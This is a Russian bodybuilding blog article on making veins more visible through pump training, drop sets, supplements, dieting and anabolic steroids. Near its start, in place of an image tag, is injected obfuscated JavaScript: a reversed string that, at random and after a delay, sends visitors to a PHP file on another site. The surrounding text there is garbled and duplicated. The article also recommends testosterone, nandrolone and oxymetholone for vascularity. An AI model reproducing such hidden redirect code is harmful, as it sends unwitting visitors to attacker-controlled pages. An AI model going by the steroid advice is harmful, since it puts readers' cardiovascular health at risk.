Зачем бодибилдеру развивать венозность?

В мире бодибилдинга венозность занимает особое место, так как именно она нередко является показателем уровня подготовленности спортсмена. Венозность не только демонстрирует низкий процент подкожного жира и развитость сердечно-сосудистой системы, но и делает мышцы более заметными, подчеркивая их (особенно в том случае, если кровеносные сосуды сформированы пропорционально по телу).

От чего зависит венозность на теле атлета?

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-kachok.jpg» alt=»» width=»700″ height=»914″ />

Способность к достижению данного феномена чаще всего зависит от особенностей строения организма: у одних атлетов вены располагаются близко к коже, а у других – ровно наоборот. Также, проблемой развития видимости кровеносной сетки может стать толщина кожного покрова. Но все же, стратегия для всех одна – это применение особого стиля тренировок, снижение процента подкожного жира (сушка) и возможное применение специальных фармакологических препаратов и спортивного питания.

Как улучшить видимость вен?

На этот вопрос существует множество ответов, которые мы разберем ниже:

1. Интенсивные тренировки в стиле “пампинг”. Суть данного метода заключается в высоком количестве повторений (15-25) с относительно небольшим весом (около 40-50% от максимума). Все движения должны выполняться медленно и подконтрольно, с “чувством” рабочей мышечной группы. Также может быть применена методика “дроп-сетов”, представляющая собой “добивание” мышцы легким весом после достижения отказа без тдыха между подходами. К примеру, вы сделали 3 подхода жима ногами, на 4 подход вешаете вес, с которым вы сможете сделать упражнение на 4-6 повторений. Выполняете 4 подход до отказа, затем без передышки снимаете два блина, сразу же выполняя подход до отказа. После чего опять снимаете 2 блина и выполняете упражнение до отказа. При этом желательно, чтобы не вы снимали блины с тренажера, а кто-то. Чтобы не тратить время (вставать, снимать блины, опять садиться за тренажер и т.д.).

Выполняя дроп-сеты, обязательно пользуйтесь помощью друга по залу. Количество “добивочных” сетов редко ограничивается одним. Только надо учесть – атлетам, которые плохо питаются, не соблюдают режим (не используют фарм. поддержку) и пр. тонкости в ББ, такой способ (особенно ужесточенные его вариации) может повредить, вызвав лишь перетренированность и интенсивную мышечную боль, не сопровождающуюся последующим ростом. Безусловно, это не означает, что не нужно прибегать к подобному тренировочному методу. Просто нужно понимать, что после жестких тренировок, организму необходимы питательные вещества в больших количествах, особенно на курсе.

2. Применение добавок спортивного питания, таких как аргинин, гистидин и цитруллин. Эти препараты значительно повышают синтез оксида азота в организме, способствуя тем самым более сильному “пампу” мышц во время тренировки и выраженности венозной сетки. К тому же, такие добавки улучшают поступление питательных веществ в мышечную ткань, потенциально влияя на мышечный рост. Для достижения венозности они, по мнению многих бодибилдеров – являются лучшим выбором.

3. Соблюдение диеты. Зачастую вены являются незаметными не в силу своего слабого развития, а из-за большого количества подкожно-жировой клетчатки. Поэтому, в первую очередь нужно попробовать эффективную диету, и только потом, если не был достигнут желаемый эффект – обратить внимание на фармакологию и тренировочный процесс. Понятное дело, речь идет об выступающих атлетах. Венозность обычному обывателю или любителю потягать железо – ни к чему.

4. Использование фармакологии, увеличивающих количество эритроцитов (а следовательно – и объем крови). В первые ряды этого списка входят тестостерон, нандролон и оксиметолон. Хотя, данный эффект способен оказать практически любой андрогенно-анаболический препарат. Различия будут лишь в степени выраженности данного эффекта. Также многие стероиды способны оказывать жиросжигающее действие, что в немалой степени влияет на видимость вен.

За и против (подводим итоги)

Все хотят выглядеть привлекательно, иногда брутально. Наличие пропорционально развитых, выступающих из-под кожи вен, визуально существенно улучшают форму атлета. Но, помимо явного плюса, есть и свои более весомые недостатки. Работая на венозность, атлет должен соблюдать должную долю осторожности. Это можно объяснить тем, что многие применяемые препараты могут оказывать серьезные побочные эффекты на сердечно-сосудистую систему, повышая вероятность инфарктов и инсультов и множеству других побочных эффектов при неграмотном их применении. Также чрезмерное развитие венозной и капиллярной сетки способно вызывать варикозное расширение вен (в особенности у женского пола). По этому, если у человека есть предрасположенность к данному заболеванию, лучше всего поберечь себя и свое здоровье.

Короче говоря, прежде чем загореться целью о достижении венозности в бодибилдинге, стоит хорошо взвесить все “за” и “против”. Тем более выраженные вены и очень низкий процент жира в больше степени являются прерогативой профессиональных атлетов, нежели рядовых посетителей тренажерного зала, которые желают улучшить свою форму и здоровье (которое, кстати, у спортсменов высокого уровня иногда находится далеко не на первом месте). Тренируйтесь с умом!

Так же можете посмотреть видео с Денисом Швецовым. В нем он рассказывает о венозности и тренировке рук на рельеф.

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector